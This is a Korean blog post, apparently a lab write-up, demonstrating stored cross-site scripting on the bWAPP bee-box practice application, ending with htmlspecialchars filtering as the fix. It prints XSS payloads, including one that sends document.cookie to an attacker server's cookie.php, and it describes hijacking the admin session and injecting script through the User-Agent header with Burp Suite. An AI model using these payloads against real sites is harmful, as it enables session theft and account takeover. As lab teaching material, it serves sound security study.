Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags more
Archives
Today
Total
관리 메뉴

Hello Security World

[Web Hacking] Bee - Box -Cross-Site-Scripting (Stroed) 본문

정보보안/BWAPP Bee-box

[Web Hacking] Bee - Box -Cross-Site-Scripting (Stroed)

프로앱등이 2020. 5. 3. 18:28

 

 

XSS(Cross Site Scripting) 크로스 사이트 스크립팅 취약점 은 웹 어플리케이션에서 사용자의 입

력값에 대한 검증을 적절하게 하지않았을 때 발생하는 취약점으로서 공격자가 악의적인 스

크립트 구문을 삽입하여 사용자의 클라이언트에서 악성스크립트가 실행되는 공격이다.

 

크로스 사이트 스크립팅 공격은 아주 오래전부터 지속적으로 발생되는 취약점에도 불구하고

우회방법이 다양하고 정교하게 필터링 하기가 어렵다는 단점이 있다.

 

 

[보안뉴스 캡쳐화면]

잘알려진 취약점이자 오래된 취약점 인데도 불구하고 구글의 오픈소스 자바스크립트 라이

브러리에서 XSS취약점이 발견되었다는 기사가 발표되었다. 2019.04-02 에 발표된 자료이다.

구글과 같은 대형 포털 사이트도 XSS취약점이 발견되었다는 것은 XSS공격이 큰 위협 요소

라는 것이다.

 

크로스 사이트 스크립팅 은 크게 3가지로 분류할 수 있다.

 

1. Stored XSS[Stored Cross Site Scripting] 저장된 크로스 사이트 스크립팅

2. Refleted XSS[Refleted Cross Site Scripting] 반사 크로스 사이트 스크립팅

3. Dom based XSS[Dom based Cross Site Scripting] DOM BASE 크로스 사이트 스크립팅

 

각 세부 사항에 대한 설명은 실습을 통해 설명하겠다

[A3-(1)]–Stored Cross Site Scripting

 

 

Stored XSS(Cross Site Scripting) 취약점은 위와 같은 공격 개요도를 가지고 있다. 스크립트 코

드가 웹서버에 전송되고 데이터베이스에 저장된다. 불특정 다수의 사용자가 공격자의 게시물

에 접근하면 지속적으로 악의적인 스크립트가 실행되기 때문에 위협 영향도가 높다.

 

악성 스크립트 구문에는 보통 Cookie값 절취 , 악성코드 배포 , 검증되지 않은 리다이렉션 등

을 수행한다.

 

만약, 웹사이트가 Stored XSS 취약점에 노출되었다면 해당 홈페이지의 게시판 , 댓글란 등을

공격지로 삼고 공겨자들은 랜섬웨어 배포 , 쿠키값 절취 등 다양한 공격으로 이루어진다.

 

Stored Cross Site Scripting 공격 (난이도 하) –Blog-

 

 

위의 페이지는 사용자의 입력값이 게시판 형태로 데이터베이스에 저장되고 사용자들이 게시

판에 저장된 글들을 확인할수 있다.

 

 

위의 블로그에 XSS(Cross Site Scripting) 취약점이 존재하는지 여부를 확인하게 다음과 같은

스크립트 구문을 삽입한다.

 

 

스크립트 구문을 삽입하자 다음과 같이 경고창 으로 “Stored XSS test” 라는 문자열을 사용자

에게 표시한다, 위의 결과는 자바스크립트 코드를 필터링 하지않고 정상적으로 실행한다는

것을 알수 있다.

 

 

스크립트 태그가 정상적으로 출력되는 것을 확인했으니 document.cookie함수를 이용하여 사용

자의 쿠키값을 출력시키는 스크립트를 작성해보겠다.

 

 

스크립트가 정상적으로 실행되면서 현재 해당 게시글을 확인한 사용자의 SESSION ID 즉 쿠

키값이 출력되었다 정상적으로 SESSION ID 가 출력된다는 것은 해당 서버에 HTTL ONLY 설

정이 되어 있지 않다는것이다. http only 옵션은 위와같이 document.cookie를 입력하였을 때 쿠

키 정보를 출력할수 없도록 만든 함수이다.

그렇다면 위의 Stored XSS취약점과 cookie값을 출력시킬수 있는 조건으로 시나리오를 만들어

bWAPP의 관리자의 쿠키값을 절취하고 절취한 쿠키값으로 관리자로 로그인을 해볼것이다.

 

 

<script>window.open("http://192.168.186.174/cookie.php?data="+document.cookie,"small","width=150,h

eight=220,scrollbars=no,menubar=no")</script> 다음과 같은 코드를 작성하였다. 위의 코드는 공

격자의 서버에 있는 cookie.php 에 쿠키값을 전송하는 코드이다.

 

 

위의 코드는 공격자 서버에 저장할 cookie.php 소스코드 이다, 스크립트가 실행되면 위의 coo

Kie.php로 희생자의 쿠키값이 전송되고 ‘data.txt’라는 파일이 생성 -> 쿠키값이 저장된다.

스크립트 구문을 삽입한 해당 게시글을 확인해보겠다.

 

 

게시글을 확인 했더니 브라우저창이 새로 열리고 url 주소에는 cookie값을 전송하는 코드가

있다, 사용자의 쿠키값이 공격자의 서버로 전송된것이다.

 

 

위의 그림과 같이 공격자의 서버에 data.txt파일이 생성되었다. 위의 내용을 확인해보자.

 

 

위의 그림과 같이 data.txt파일이 생성되었고 생성된 파일을 확인해보니 해당 게시글을 확인

한 희생자의 COOKIE 값이 전송된 것을 확인할수 있다.

 

 

위의 탈취한 쿠키값으로 설정한 후 F5(새로고침) 을 하면 Bwapp의 관리자로 로그인되는 것

을 확인 할수있다.

Stored Cross Site Scipring 공격 (난이도 하) –User-Agent-

 

 

xss_stored_4.php 페이지는 접속한 웹 브라우저의 정보가 저장된 ‘User-Agent’ 헤더 값을 테이

블 형태로 출력한다. 테이블에는 User-Agent 정보를 최근 접속한 순서대로 3개 까지만 출력하

는데, ‘download’ 라는 굵은 글씨를 클릭하면 페이지에 접속한 모든 ‘User-Agent’ 의 정보를 새

로운 페이지에 출력한다.

 

 

Burp Suite 를 이용해 User-Agent 헤더에 스크립트 코드를 입력하여 테이블에 스크립트를 저장

하는 XSS 공격을 시도해보았다.

 

 

User-Agent 헤더에 스크립트 구문을 삽입하고 [Forward]를 누르자 스크립트가 정상적으로 실

행되고 있는 모습을 확인할수 있다.

 

 

이번에는 <script>alert(document.cookir)</script> 스크립트 구문을 삽입하여 사용자의 cookie값을

출력하는 스크립트를 작성하였다.

 

 

Burp Suite 를 이용하여 [Forward]를 하자 현재 해당 게시글을 확인한 사용자의 쿠키값이 출

력되고 있다. 이렇듯 게시판 뿐 아니라 사용자의 입력값을 HTML 코드에 적용시켜 처리하는

경우 에는 모두 XSS공격이 가능하다. 따라서 사용자의 입력값은 반드시 신뢰할수 없다는 원

칙하에 필터링 함수를 사용해야한다.

Stored Cross Site Scripting 공격 (난이도 상) –Blog-

 

 

난이도 상 에서는 <SCRIPT> 구문을 삽입하여도 스크립트가 실행되지 않는다 htmlspectionchar

S 함수로 사용자의 입력값을 필터링하고 있기 때문이다. htmlspectiolchars함수는 특수문자 들

을 HTML엔터티 코드로 변환한다. 따라서 스크립트 코드를 입력하여도 웹 브라우저에서는

스크립트로 인식하지 않고 문자로 인식한다.